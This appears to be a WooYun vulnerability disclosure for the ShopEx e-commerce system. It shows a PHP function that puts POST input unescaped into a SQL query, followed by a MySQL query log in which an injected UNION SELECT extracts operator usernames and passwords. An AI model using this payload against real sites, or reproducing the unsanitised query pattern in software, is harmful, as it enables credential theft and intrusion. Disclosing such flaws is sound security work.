WooYun.org

function products(){


        $objGoods  = &$this->system->loadModel('goods/products');





        $filter = array();


        foreach(explode(',',$_POST['goods']) as $gid){


            $filter['goods_id'][] = $gid;


         }





        $this->pagedata['products'] = $objGoods->getList($objGoods->defaultCols.',find_in_set(goods_id,"'.$_POST['goods'].'") as rank',$filter,0,-1,array('rank','asc'));

130526 20:03:23	  352 Connect	root@localhost on 


		  352 Init DB	shopex


		  352 Query	SET NAMES 'utf8'


		  352 Query	SELECT * FROM sdb_plugins WHERE plugin_type="app"


		  352 Query	select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1


		  352 Query	select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1


		  352 Query	SELECT count(goods_id) FROM sdb_goods WHERE goods_id IN (0,0,0,3,4,5,6,7,8,9,10,11,12,13) AND sdb_goods.disabled = 'false' AND sdb_goods.goods_type='normal' ORDER BY rank asc


		  352 Query	SELECT bn,name,cat_id,price,store,marketable,brand_id,weight,d_order,uptime,type_id,supplier_id,find_in_set(goods_id,"aaa") FROM sdb_goods union select 1,concat(username,userpass),3,4,5,6,7,8,9,10,11,12,13 from sdb_operators#") as rank,goods_id,image_default,thumbnail_pic,brief,pdt_desc,mktprice,big_pic FROM sdb_goods WHERE goods_id IN (0,0,0,3,4,5,6,7,8,9,10,11,12,13) AND sdb_goods.disabled = 'false' AND sdb_goods.goods_type='normal' ORDER BY rank asc LIMIT 0, 18446744073709551615